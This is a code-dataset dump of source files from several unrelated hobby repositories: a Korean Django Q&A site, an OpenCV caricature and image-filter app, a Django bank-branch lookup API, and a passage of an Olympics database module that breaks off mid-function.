폼을 요청\n 그리고 검색버튼을 누르면 검색 창에 입력된 값을 searchForm의 kw 필드에 설정하여 폼을 요청\n 이때 검색버튼을 누르는 경우는 새로운 검색 요청에 해당하므로 searchForm의 page 필드에 항상 1을 설정하여 폼을 요청하도록 했다.\n-->" }, { "alpha_fraction": 0.7158018946647644, "alphanum_fraction": 0.7205188870429993, "avg_line_length": 28.275861740112305, "blob_id": "1aca7196915eeb4b4a72b0ff503582635c398501", "content_id": "ad7637ec915f60aa6351f8dae7b17b601c5fce6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1320, "license_type": "no_license", "max_line_length": 82, "num_lines": 29, "path": "/seok/templatetags/seok_filter.py", "repo_name": "odongs/dong", "src_encoding": "UTF-8", "text": "import markdown\nfrom django import template\nfrom django.utils.safestring import mark_safe\n\nregister = template.Library()\n\[email protected]\ndef sub(value, arg):\n return value - arg\n'''\n** 템플릿 필터 함수를 만드는 방법\nsub 함수에 @register.filter라는 애너테이션을 적용하면 템플릿에서 해당 함수를 필터로 사용할 수 있게 된다\n템플릿 필터 함수 sub는 기존값 value에서 입력으로 받은 값 arg를 빼서 반환함\n** 템플릿 파일에서 템플릿 필터 파일 로드 예\n{% load seok_filter %}\n'''\n\n\[email protected]()\ndef mark(value):\n extensions = [\"nl2br\", \"fenced_code\"] # nl2br 줄바꿈 문자를 <br>태그로 <Enter>를 한번만 눌러도\n return mark_safe(markdown.markdown(value, extensions=extensions))\n'''\nmark 함수는 markdown 모듈과 mark_safe 함수를 이용하여 문자열을 HTML 코드로 변환하여 반환\n이 과정을 거치면 마크다운 문법에 맞도록 HTML이 만들어진다\n그리고 markdown 모듈에 \"nl2br\", \"fenced_code\" 확장 도구를 설정\n\"nl2br\"은 줄바꿈 문자를 <br> 태그로 바꿔 주므로 <Enter>를 한 번만 눌러도 줄바꿈으로 인식하고 외에\n스페이스바 두번으로 줄바꿈 처리가능, \"fenced_code\"는 마크다운의 소스 코드 표현을 위해 적용\n'''" }, { "alpha_fraction": 0.5716586112976074, "alphanum_fraction": 0.6022544503211975, "avg_line_length": 24.875, "blob_id": "21fadb0e8f3564551d534bc756d37cfa88c06e7a", "content_id": "d4bdae13ee5578d378a5ee9a045102cf9faff546", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 621, "license_type": "no_license", "max_line_length": 99, "num_lines": 24, "path": "/seok/migrations/0008_auto_20210113_1852.py", "repo_name": "odongs/dong", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-01-13 09:52\n\nfrom django.conf import settings\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('seok', '0007_answer_hit'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='answer',\n name='hit',\n ),\n migrations.AddField(\n model_name='question',\n name='hit',\n field=models.ManyToManyField(related_name='hit_question', to=settings.AUTH_USER_MODEL),\n ),\n ]\n" }, { "alpha_fraction": 0.5736984610557556, "alphanum_fraction": 0.5774171948432922, "avg_line_length": 36.45569610595703, "blob_id": "b4ce13663ecd3ed355ac8c61241ac5da4fe1ac2a", "content_id": "761e4914e756de2bf5c19d9745ed45c977736df4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3366, "license_type": "no_license", "max_line_length": 118, "num_lines": 79, "path": "/seok/views/base_views.py", "repo_name": "odongs/dong", "src_encoding": "UTF-8", "text": "from django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator\nfrom django.db.models import Q, Count\nfrom django.shortcuts import render, get_object_or_404\n\nfrom ..models import Question\n\nimport logging\nlogger = logging.getLogger('seok')\n\ndef index(request):\n logger.info(\"INFO 레벨로 출력\")\n \"\"\"\n seok 목록 출력\n \"\"\"\n # 입력 파라미터\n page = request.GET.get('page', '1') # 페이지\n kw = request.GET.get('kw', '') # 검색어\n so = request.GET.get('so', 'recent') # 정렬기준\n sh = request.GET.get('sh', 'ac') # 검색기준\n\n # 정렬\n if so == 'recommend': # 추천순 ( 추천이 제일 많은 순서 )\n question_list = Question.objects.annotate(num_voter=Count('voter')).order_by('-num_voter', '-create_date')\n elif so == 'popular': # 인기순 ( 댓글이 제일 많은 순서 )\n question_list = Question.objects.annotate(num_answer=Count('answer')).order_by('-num_answer', '-create_date')\n elif so == 'comm': # 댓글순 ( 해당 글에 댓글이 제일 많은 순서 )\n question_list = Question.objects.annotate(num_answer=Count('comment')).order_by('-num_answer', '-create_date')\n else: # recent 최신순 ( 최근 수정, 등록한 순서 )\n question_list = Question.objects.order_by('-create_date')\n\n # 조회\n # Q 함수에 사용한 subject__icontains 제목에 kw 문자열이 포함되었는지를 의미\n # filter 함수에서 모델 필드에 접근하려면 __ 를 이용하면 됨\n if kw:\n if sh == 'sj':\n question_list = question_list.filter(\n Q(subject__icontains=kw) # 제목 검색\n ).distinct()\n elif sh == 'ct':\n question_list = question_list.filter(\n Q(content__icontains=kw) # 내용 검색\n ).distinct()\n elif sh == 'at':\n question_list = question_list.filter(\n Q(author__username__icontains=kw) # 글쓴이 검색\n ).distinct()\n elif sh == 'aw':\n question_list = question_list.filter(\n Q(answer__content__icontains=kw) # 댓글 내용 검색\n ).distinct()\n else :\n question_list = question_list.filter(\n Q(subject__icontains=kw) | # 제목 검색\n Q(content__icontains=kw) | # 내용 검색\n Q(author__username__icontains=kw) | # 글쓴이 검색\n Q(answer__content__icontains=kw) # 댓글 내용 검색\n # Q(answer__author__username__icontains=kw) # 댓글 글쓴이 검색\n ).distinct() # 중복값 제거\n\n\n # 페이징처리\n paginator = Paginator(question_list, 10) # 페이지당 10개씩 보여주는거\n page_obj = paginator.get_page(page)\n\n context = {'question_list': page_obj, 'page': page, 'kw': kw, 'so': so, 'sh':sh}\n\n return render(request, 'seok/question_list.html', context)\n\n@login_required(login_url='common:login')\ndef detail(request, question_id):\n \"\"\"\n seok 내용 출력\n \"\"\"\n question = get_object_or_404(Question, pk=question_id)\n if bool(request.user):\n question.hit.add(request.user) # 조회수 증가 처리\n context = {'question': question}\n return render(request, 'seok/question_detail.html', context)" } ]
9
MozartHetfield/CaricatureApp
https://github.com/MozartHetfield/CaricatureApp
f9ee1716e2aa849da80f804f79300aed53e15536
bc61afa40e98277cb41f0558cf6a6ae3153d1725
aa26e0ebb29623c2efd78a5cf81c3f173406d1ba
refs/heads/master
2020-12-05T17:49:39.348450
2020-01-10T07:45:08
2020-01-10T07:45:08
232,194,671
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6848788261413574, "alphanum_fraction": 0.7091189026832581, "avg_line_length": 31.89873504638672, "blob_id": "da57f2db57c79f255c312e011fb0bcd9da078d5e", "content_id": "3ecc61b59070697e45bf13676348269c44d07a7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5198, "license_type": "no_license", "max_line_length": 113, "num_lines": 158, "path": "/filters.py", "repo_name": "MozartHetfield/CaricatureApp", "src_encoding": "UTF-8", "text": "from PIL import Image\nimport cv2\nimport argparse\nimport math\nimport progressbar\nfrom pointillism import *\nfrom collections import OrderedDict\nimport numpy as np\nimport dlib\nimport imutils\n\ndef black_and_white(input_image_path,\n output_image_path):\n\tcolor_image = Image.open(input_image_path)\n\tbw = color_image.convert('L')\n\tbw.save(output_image_path)\n\tbw.show()\n\ndef make_sepia_palette(color):\n\tpalette = []\n\tr, g, b = color\n\tfor i in range(255):\n\t\tpalette.extend(((r * i) / 255, (g * i) / 255, (b * i) / 255))\n\n\treturn palette\n\ndef create_sepia(input_image_path, output_image_path):\n\twhitish = (255, 240, 192)\n\tsepia = make_sepia_palette(whitish)\n\tsepia = [round(x) for x in sepia]\n\n\tcolor_image = Image.open(input_image_path)\n\n\t# convert our image to gray scale\n\tbw = color_image.convert('L')\n\n\t# add the sepia toning\n\tbw.putpalette(sepia)\n\n\t# convert to RGB for easier saving\n\tsepia_image = bw.convert('RGB')\n\n\tsepia_image.save(output_image_path)\n\tsepia_image.show()\n\ndef create_cartoon(input_image_path, output_image_path):\n\tnum_down = 2 # number of downsampling steps\n\tnum_bilateral = 7 # number of bilateral filtering steps\n\n\timg_rgb = cv2.imread(input_image_path)\n\n\t# downsample image using Gaussian pyramid\n\timg_color = img_rgb\n\tfor _ in range(num_down):\n\t\timg_color = cv2.pyrDown(img_color)\n\n\t# repeatedly apply small bilateral filter instead of\n\t# applying one large filter\n\tfor _ in range(num_bilateral):\n\t\timg_color = cv2.bilateralFilter(img_color, d=9, sigmaColor=9, sigmaSpace=7)\n\n\t# upsample image to original size\n\tfor _ in range(num_down):\n\t\timg_color = cv2.pyrUp(img_color)\n\n\t# convert to grayscale and apply median blur\n\timg_gray = cv2.cvtColor(img_rgb, cv2.COLOR_RGB2GRAY)\n\timg_blur = cv2.medianBlur(img_gray, 7)\n\n\t# detect and enhance edges\n\timg_edge = cv2.adaptiveThreshold(img_blur, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, blockSize=9, C=2)\n\n\t# convert back to color, bit-AND with color image\n\timg_edge = cv2.cvtColor(img_edge, cv2.COLOR_GRAY2RGB)\n\n\tif (np.shape(img_color) > np.shape(img_edge)):\n\t\timg_color = cv2.resize(img_color, (np.shape(img_edge)[1], np.shape(img_edge)[0]))\n\telse:\n\t\timg_edge = cv2.resize(img_edge, (np.shape(img_color)[1], np.shape(img_color)[0]))\n\n\timg_cartoon = cv2.bitwise_and(img_color, img_edge)\n\n\tcv2.imwrite(output_image_path, img_cartoon)\n\ndef create_drawing(input_image, output_image, mode):\n\tpalette_size_value = 20 #\"Number of colors of the base palette\"\n\tstroke_scale_value = 0 #\"Scale of the brush strokes (0 = automatic)\"\n\tgradient_smoothing_radius_value = 0 #\"Radius of the smooth filter applied to the gradient (0 = automatic)\"\n\tlimit_image_size_value = 0 #\"Limit the image size (0 = no limits)\"\n\timg_path_value = input_image\n\n\tres_path = output_image\n\timg = cv2.imread(img_path_value)\n\n\tif limit_image_size_value > 0:\n\t\timg = limit_size(img, limit_image_size_value)\n\n\tif stroke_scale_value == 0:\n\t\tstroke_scale = int(math.ceil(max(img.shape) / 1000))\n\t\tprint(\"Automatically chosen stroke scale: %d\" % stroke_scale)\n\telse:\n\t\tstroke_scale = stroke_scale_value\n\n\tif gradient_smoothing_radius_value == 0:\n\t\tgradient_smoothing_radius = int(round(max(img.shape) / 50))\n\t\tprint(\"Automatically chosen gradient smoothing radius: %d\" % gradient_smoothing_radius)\n\telse:\n\t\tgradient_smoothing_radius = gradient_smoothing_radius_value\n\n\t# convert the image to grayscale to compute the gradient\n\tgray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n\tprint(\"Computing color palette...\")\n\tpalette = ColorPalette.from_image(img, palette_size_value)\n\n\tprint(\"Extending color palette...\")\n\tpalette = palette.extend([(0, 50, 0), (15, 30, 0), (-15, 30, 0)])\n\n\t# display the color palette\n\t#cv2.imshow(\"palette\", palette.to_image())\n\tcv2.waitKey(200)\n\n\tprint(\"Computing gradient...\")\n\tgradient = VectorField.from_gradient(gray)\n\n\tprint(\"Smoothing gradient...\")\n\tgradient.smooth(gradient_smoothing_radius)\n\n\tprint(\"Drawing image...\")\n\t# create a \"cartonized\" version of the image to use as a base for the painting\n\tres = cv2.medianBlur(img, 11)\n\t# define a randomized grid of locations for the brush strokes\n\tgrid = randomized_grid(img.shape[0], img.shape[1], scale=3)\n\tbatch_size = 10000\n\n\tbar = progressbar.ProgressBar()\n\tfor h in bar(range(0, len(grid), batch_size)):\n\t\t# get the pixel colors at each point of the grid\n\t\tpixels = np.array([img[x[0], x[1]] for x in grid[h:min(h + batch_size, len(grid))]])\n\t\t# precompute the probabilities for each color in the palette\n\t\t# lower values of k means more randomnes\n\t\tcolor_probabilities = compute_color_probabilities(pixels, palette, k=9)\n\n\t\tfor i, (y, x) in enumerate(grid[h:min(h + batch_size, len(grid))]):\n\t\t\tcolor = color_select(color_probabilities[i], palette)\n\t\t\tangle = math.degrees(gradient.direction(y, x)) + 90\n\t\t\tlength = int(round(stroke_scale + stroke_scale * math.sqrt(gradient.magnitude(y, x))))\n\n\t\t\t# draw the brush stroke\n\t\t\tcv2.ellipse(res, (x, y), (length, stroke_scale), angle, 0, 360, color, -1, cv2.LINE_AA)\n\n\tif (mode == 0):\n\t\tcv2.imshow(\"res\", limit_size(res, 1080))\n\tcv2.imwrite(res_path, res)\n \ndef create_sketch(input_image, output_image, mode):\n create_cartoon(input_image, output_image)\n create_drawing(output_image, output_image, mode)\n" }, { "alpha_fraction": 0.7419354915618896, "alphanum_fraction": 0.774193525314331, "avg_line_length": 14.5, "blob_id": "b0cb27fa65e384f178a6d749e00a22aacff98a88", "content_id": "ad16d4b235fc625041f35ea77d859934dbbeac28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 31, "license_type": "no_license", "max_line_length": 15, "num_lines": 2, "path": "/README.md", "repo_name": "MozartHetfield/CaricatureApp", "src_encoding": "UTF-8", "text": "# CaricatureApp\n MPS project 2\n" }, { "alpha_fraction": 0.6627393364906311, "alphanum_fraction": 0.6944035291671753, "avg_line_length": 28.521739959716797, "blob_id": "4bb9d75d4b9bedc50b7d4ca2a51dd6def74a52b5", "content_id": "b5b3f0be3aa0c63d531b769ffcf42a9d7dacf50e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1358, "license_type": "no_license", "max_line_length": 80, "num_lines": 46, "path": "/caricature.py", "repo_name": "MozartHetfield/CaricatureApp", "src_encoding": "UTF-8", "text": "import cv2\nimport numpy as np\nimport sys\nfrom PIL import Image\nfrom imutils import face_utils\nimport argparse\nimport imutils\nimport random\n\ndef caricature(filename, outputFilename):\n\t# Get user supplied values\n\tfaceCascPath = \"haarcascade_frontalface_default.xml\"\n\teyeCascPath = \"haarcascade_eye.xml\"\n\t\n\t# Create the haar cascade\n\tfaceCascade = cv2.CascadeClassifier(faceCascPath)\n\teyeCascade = cv2.CascadeClassifier(eyeCascPath)\n\t# Read the image\n\timage = cv2.imread(filename)\n\tim = Image.open(filename)\n\tgray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\t\n\t# Detect faces in the image\n\tfaces = faceCascade.detectMultiScale(\n\t\tgray,\n\t\tscaleFactor=1.1,\n\t\tminNeighbors=5,\n\t\tminSize=(30, 30),\n\t\tflags = cv2.CASCADE_SCALE_IMAGE\n\t)\n\t# Draw a rectangle around the faces\n\tfor (x, y, w, h) in faces:\n\t\tcv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\t\troi_gray = gray[y:y+h, x:x+w]\n\t\troi_color = image[y:y+h, x:x+w]\n\t\teyes = eyeCascade.detectMultiScale(gray, 1.3, 5)\n\n\t\tfor (ex,ey,ew,eh) in eyes:\n\t\t\tim2 = im.crop((ex, ey, ex+ew, ey+eh))\n\t\t\twidth, height = im2.size\n\t\t\tweight_value = random.uniform(1.25, 1.45)\n\t\t\tprint(\"Random weight is \" + str(weight_value))\n\t\t\tim2 = im2.resize((round(width * weight_value), round(height * weight_value)))\n\t\t\tim.paste(im2, (ex, ey))\n\t\t\tim.save(outputFilename)\n\t\t\tcv2.rectangle(image, (ex,ey), (ex+ew, ey+eh), (0,255,0), 2)\n" }, { "alpha_fraction": 0.6550387740135193, "alphanum_fraction": 0.6692506670951843, "avg_line_length": 32.65217208862305, "blob_id": "d5e3c653ac0a306e29e1bc5cdabc63d87d41ee58", "content_id": "6cc2b1aa58cde422f0df441a1ccc731b7c6c9251", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 774, "license_type": "no_license", "max_line_length": 115, "num_lines": 23, "path": "/main.py", "repo_name": "MozartHetfield/CaricatureApp", "src_encoding": "UTF-8", "text": "import filters\nimport sys\nimport caricature\nimport faceDetection\n\ndef main():\n \n input_path = r\"./input_photos/\" + str(sys.argv[1])\n output_path = r\"./output_photos/output_\" + str(sys.argv[1])\n output_path_caricature = r\"./output_photos/caricature_output_\" + str(sys.argv[1])\n mode = int(sys.argv[2]) #0 for normal, 1 for bw, 2 for sepia\n\n caricature.caricature(input_path, output_path)\n faceDetection.detect_face_features('shape_predictor_68_face_landmarks.dat', input_path, output_path_caricature)\n filters.create_sketch(output_path, output_path, mode)\n if (mode == 1):\n filters.black_and_white(output_path, output_path)\n elif (mode == 2):\n filters.create_sepia(output_path, output_path)\n\nif __name__ == '__main__':\n\n main()\n" } ]
4
abhishek120392/bankappproject
https://github.com/abhishek120392/bankappproject
d1de75f14264725bd66a0d70fcb3f65fc505e03f
cd8f9bbbfde7817d9e7d27afe462c2500e9ba4c8
7e24e26dd96a648aeee07004ccb4498d9cd9e514
refs/heads/master
2021-08-30T05:50:11.560247
2017-12-16T08:25:45
2017-12-16T08:25:45
114,291,234
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5101123452186584, "alphanum_fraction": 0.5887640714645386, "avg_line_length": 21.25, "blob_id": "13642a34128159f9f1572283fe6828649e5e9c7c", "content_id": "0cfb22cecfab8fef5ea862e5201b85d84e50691b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 445, "license_type": "no_license", "max_line_length": 50, "num_lines": 20, "path": "/banks/migrations/0003_auto_20171216_0705.py", "repo_name": "abhishek120392/bankappproject", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.8 on 2017-12-16 07:05\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('banks', '0002_auto_20171216_0704'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='bank',\n name='name',\n field=models.CharField(max_length=49),\n ),\n ]\n" }, { "alpha_fraction": 0.6776989698410034, "alphanum_fraction": 0.6800630688667297, "avg_line_length": 26.586956024169922, "blob_id": "e0f0d607e48183cfc33c189049709724f2d693f2", "content_id": "9bf88437f2785c2ec03a1ab781a970ed132e1ef2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1269, "license_type": "no_license", "max_line_length": 78, "num_lines": 46, "path": "/banks/views.py", "repo_name": "abhishek120392/bankappproject", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom .models import Branch, Bank\nimport json\n\ndef index(request):\n\treturn HttpResponse(\"Hello, world. You're at the polls index.\")\n\ndef bankdetails(request):\n\tifsc_code = request.GET.get('ifsc_code')\n\ttry:\n\t\tbranch = Branch.objects.get(ifsc=ifsc_code)\n\t\tbank = Bank.objects.get(pk=branch.bank_id)\n\t\tresp = {\n\t\t\t'branch' : {\n\t\t\t\t'name' : bank.name,\n\t\t\t\t'bank_id' : branch.bank_id,\n\t\t\t\t'branch' : branch.branch,\n\t\t\t\t'address' : branch.address,\n\t\t\t\t'city' : branch.city,\n\t\t\t\t'district' : branch.district,\n\t\t\t\t'state' : branch.state\n\t\t\t}\n\t\t}\n\texcept Exception as e:\n\t\tresp = {\"status\":\"error\", \"message\":\"Object does not exist\"}\n\n\treturn HttpResponse(json.dumps(resp, indent=2))\n\ndef bankInCity(request):\n\tbank_name = request.GET.get('name')\n\tcity = request.GET.get('city')\n\tbranches = []\n\ttry:\n\t\tbank_branches = Branch.objects.filter(city=city, bank__name=bank_name).all()\n\t\tfor bank_branch in bank_branches:\n\t\t\tbranches.append(bank_branch.serialize())\n\t\tresp = {\n\t\t\t'bank_branches' : branches\n\t\t}\n\texcept Exception as e:\n\t\tresp = {\"status\":\"error\", \"message\":\"Object does not exist\"}\n\n\treturn HttpResponse(json.dumps(resp, indent=2))\n" }, { "alpha_fraction": 0.6720647811889648, "alphanum_fraction": 0.6720647811889648, "avg_line_length": 30, "blob_id": "0f9eacde90155e627c865d81548f3df1b8768f33", "content_id": "f9391a631fcd659ef3d12d3563c6184ba7cdd36a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 247, "license_type": "no_license", "max_line_length": 66, "num_lines": 8, "path": "/banks/urls.py", "repo_name": "abhishek120392/bankappproject", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^banks_in_city/', views.bankInCity, name='bankInCity'),\n url(r'^bank_details/', views.bankdetails, name='bankdetails'),\n]" }, { "alpha_fraction": 0.4436090290546417, "alphanum_fraction": 0.6842105388641357, "avg_line_length": 15.625, "blob_id": "bf3dbebb0b8a534261c202cdcccf8063b56eeb17", "content_id": "b333b0fcd78ee97af1d6fba822e3f7b60f4506e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 133, "license_type": "no_license", "max_line_length": 22, "num_lines": 8, "path": "/requirements.txt", "repo_name": "abhishek120392/bankappproject", "src_encoding": "UTF-8", "text": "Cython==0.27.3\ndj-database-url==0.4.2\nDjango==1.11.8\ngunicorn==19.7.1\nnumpy==1.13.3\npsycopg2==2.7.3.2\npytz==2017.3\nwhitenoise==3.3.1\n" }, { "alpha_fraction": 0.7252124547958374, "alphanum_fraction": 0.7507082223892212, "avg_line_length": 26.153846740722656, "blob_id": "027b03485141037843ee0bd1e67171048dc41e31", "content_id": "7455821031e08174e4bb8d6bf701da27d532f959", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 353, "license_type": "no_license", "max_line_length": 77, "num_lines": 13, "path": "/README.md", "repo_name": "abhishek120392/bankappproject", "src_encoding": "UTF-8", "text": "# Python Version Used: 2.7\n\n\n\n## Features\n\n- gets the bank details on giving IFSC code\n- gets the branches information given a bank name and city\n\n## Exposed APIs:\n- baseAPI : https://bankappproject.herokuapp.com/\n- bank Details example : bank_details/?ifsc_code=ZSBL0000341\n- bank Branches example : banks_in_city/?name=STATE BANK OF INDIA&city=BILARI\n" }, { "alpha_fraction": 0.6498516201972961, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 23.658536911010742, "blob_id": "a1a73bf57af022bbd0db9f6bc8c70be260bd293c", "content_id": "9afa88ff93abc41f6cbbcd2dce2a0cbf958200a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1011, "license_type": "no_license", "max_line_length": 75, "num_lines": 41, "path": "/banks/models.py", "repo_name": "abhishek120392/bankappproject", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models\n\n# Create your models here.\nclass Bank(models.Model):\n\tname = models.CharField(max_length=49)\n\tid = models.AutoField(primary_key=True)\n\n\tdef __str__(self):\n\t\treturn str(self.id) + '-' + self.name\n\n\tdef serialize(self):\n\t\treturn {\n\t\t\t'id': self.id,\n\t\t\t'name': self.name\n\t\t}\n\nclass Branch(models.Model):\n\tifsc = models.CharField(max_length=11, primary_key=True)\n\tbank = models.ForeignKey(Bank)\n\tbranch = models.CharField(max_length=100)\n\taddress = models.CharField(max_length=500)\n\tcity = models.CharField(max_length=50)\n\tdistrict = models.CharField(max_length=50)\n\tstate = models.CharField(max_length=50)\n\n\tdef __str__(self):\n\t\treturn self.ifsc + '-' + self.branch + '-' + self.city + '-' + self.state\n\n\tdef serialize(self):\n\t\treturn {\n\t\t\t'ifsc': self.ifsc,\n\t\t\t'bank': self.bank.name,\n\t\t\t'branch': self.branch,\n\t\t\t'address': self.address,\n\t\t\t'city': self.city,\n\t\t\t'district': self.district,\n\t\t\t'state': self.state\n\t\t}\n" } ]
6
melinoe024/Olympics-database
https://github.com/melinoe024/Olympics-database
bccfac3d53323f1ce062d6554f72bcea5c3328f3
14ae37df2180c026b8aa44af85ddeaab6b529239
84b8e07c0fd108973b00bc4fccf2dbee836ee661
refs/heads/master
2020-04-23T14:56:16.322447
2019-02-18T09:09:48
2019-02-18T09:09:48
171,248,568
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4973736107349396, "alphanum_fraction": 0.5063835978507996, "avg_line_length": 28.22601318359375, "blob_id": "cbc4e9eb0bfea83ad2120b35c84084b3e9a5fd4b", "content_id": "0abd3055082bd93c7f1aeb378cc0fa4dd9286729", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27414, "license_type": "no_license", "max_line_length": 159, "num_lines": 938, "path": "/database.py", "repo_name": "melinoe024/Olympics-database", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nfrom modules import pg8000\nimport configparser\nimport json\n\n\n#####################################################\n## Database Connect\n#####################################################\n\n'''\nConnects to the database using the connection string\n'''\ndef database_connect():\n # Read the config file\n config = configparser.ConfigParser()\n config.read('config.ini')\n\n # Create a connection to the database\n connection = None\n try:\n # Parses the config file and connects using the connect string\n connection = pg8000.connect(database=config['DATABASE']['user'],\n user=config['DATABASE']['user'],\n password=config['DATABASE']['password'],\n host=config['DATABASE']['host'])\n except pg8000.OperationalError as e:\n print(\"\"\"Error, you haven't updated your config.ini or you have a bad\n connection, please try again. (Update your files first, then check\n internet connection)\n \"\"\")\n print(e)\n # return the connection to use\n return connection\n\n#####################################################\n## Login\n#####################################################\n\n'''\nCheck that the users information exists in the database.\n\n- True = return the user data\n- False = return None\n'''\ndef check_login(member_id, password):\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n try:\n # Try executing the SQL and get from the database\n sql = \"\"\"SELECT M.member_id, M.title, M.given_names, M.family_name, C.country_name, P.place_name\n FROM member M INNER JOIN Country C USING (country_code) JOIN Place P ON (M.accommodation = P.place_id)\n WHERE member_id = %s AND pass_word=%s;\"\"\"\n cur.execute(sql, (member_id, password))\n user_data = cur.fetchone() #Fetch the first rows\n\n #ASK WHERE TO PUT COMMITS\n\n member_id_test = [user_data[0]]\n sql = \"\"\"SELECT member_id\n FROM Athlete\n where member_id = %s;\"\"\"\n cur.execute(sql, member_id_test)\n\n user_type = None\n if (cur.rowcount == 1):\n user_type = 'Athlete'\n else:\n sql = \"\"\"SELECT member_id\n FROM Official\n WHERE member_id = %s;\"\"\"\n cur.execute(sql, member_id_test)\n if (cur.rowcount ==1) :\n user_type = 'Official'\n else:\n user_type = 'Staff'\n\n except:\n con.rollback()\n return None\n cur.close()\n con.close()\n\n tuples = {\n 'member_id': user_data[0],\n 'title': user_data[1],\n 'first_name': user_data[2],\n 'family_name': user_data[3],\n 'country_name': user_data[4],\n 'residence': user_data[5],\n 'member_type': user_type\n }\n\n return tuples\n\n\n#####################################################\n## Member Information\n#####################################################\n\n'''\nGet the details for a member, including:\n - all the accommodation details,\n - information about their events\n - medals\n - bookings.\n\nIf they are an official, then they will have no medals, just a list of their roles.\n'''\ndef member_details(member_id, mem_type):\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n\n try:\n sql = \"\"\"SELECT P.place_name, P.address, P.gps_lat, P.gps_long\n FROM Place P\n WHERE P.place_id = (SELECT accommodation\n FROM Member\n WHERE member_id=%s);\"\"\"\n cur.execute(sql, [member_id])\n user_data = cur.fetchone()\n #print(user_data)\n\n except:\n con.rollback()\n return None\n\n\n accommodation_details = {\n 'name': user_data[0],\n 'address': user_data[1],\n 'gps_lat': user_data[2],\n 'gps_long': user_data[3]\n }\n\n # TODO\n # Return all of the user details including subclass-specific details\n # e.g. events participated, results.\n\n # TODO - Dummy Data (Try to keep the same format)\n # Accommodation [name, address, gps_lat, gps_long]\n # accom_rows = ['SIT', '123 Some Street, Boulevard', '-33.887946', '151.192958']\n\n # Check what type of member we are\n if(mem_type == 'athlete'):\n # TODO get the details for athletes\n # Member details [total events, total gold, total silver, total bronze, number of bookings]\n\n # Counting total events\n try:\n sql = \"\"\"SELECT ((SELECT COUNT(event_id)\n FROM Participates\n WHERE athlete_id = %s)\n +\n (SELECT COUNT(event_id)\n FROM TeamMember\n WHERE athlete_id = %s))\"\"\"\n cur.execute(sql, [member_id])\n event_count = cur.fetchone()\n\n # Counting medals\n sql = \"\"\"SELECT ((SELECT COUNT(medal)\n FROM Participates\n WHERE athlete_id = %s AND medal = 'G')\n +\n (SELECT COUNT(medal)\n FROM Team JOIN TeamMember USING (event_id, team_name)\n WHERE athlete_id = %s AND medal = 'G')) as num_gold,\n ((SELECT COUNT(medal)\n FROM Participates\n WHERE athlete_id = %s AND medal = 'S')\n +\n (SELECT COUNT(medal)\n FROM Team JOIN TeamMember USING (event_id, team_name)\n WHERE athlete_id = %s AND medal = 'S')) as num_silver,\n ((SELECT COUNT(medal)\n FROM Participates\n WHERE athlete_id = %s AND medal = 'B')\n +\n (SELECT COUNT(medal)\n FROM Team JOIN TeamMember USING (event_id, team_name)\n WHERE athlete_id = %s AND medal = 'B')) as num_bronze\"\"\"\n cur.execute(sql, [member_id])\n medals_db = cur.fetchone()\n\n # Counting number of bookings\n sql = \"\"\"SELECT COUNT(*)\n FROM Booking\n WHERE booked_for = %s;\"\"\"\n cur.execute(sql, [member_id])\n booking_count = cur.fetchone()\n\n except:\n con.rollback()\n return None\n\n member_information = {\n 'total_events': event_count[0],\n 'gold': medals_db[0],\n 'silver': medals_db[1],\n 'bronze': medals_db[2],\n 'bookings': booking_count[0]\n }\n\n elif(mem_type == 'official'):\n\n # TODO get the relevant information for an official\n # Official = [ Role with greatest count, total event count, number of bookings]\n # member_information_db = ['Judge', 10, 20]\n try:\n sql = \"\"\"SELECT role, COUNT(role)\n FROM RunsEvent\n WHERE member_id = %s\n GROUP BY role\n ORDER BY COUNT(role) DESC\n LIMIT 1\"\"\"\n cur.execute(sql, [member_id])\n role_info = cur.fetchone()\n\n sql = \"\"\"SELECT (SELECT COUNT(event_id)\n FROM RunsEvent\n WHERE 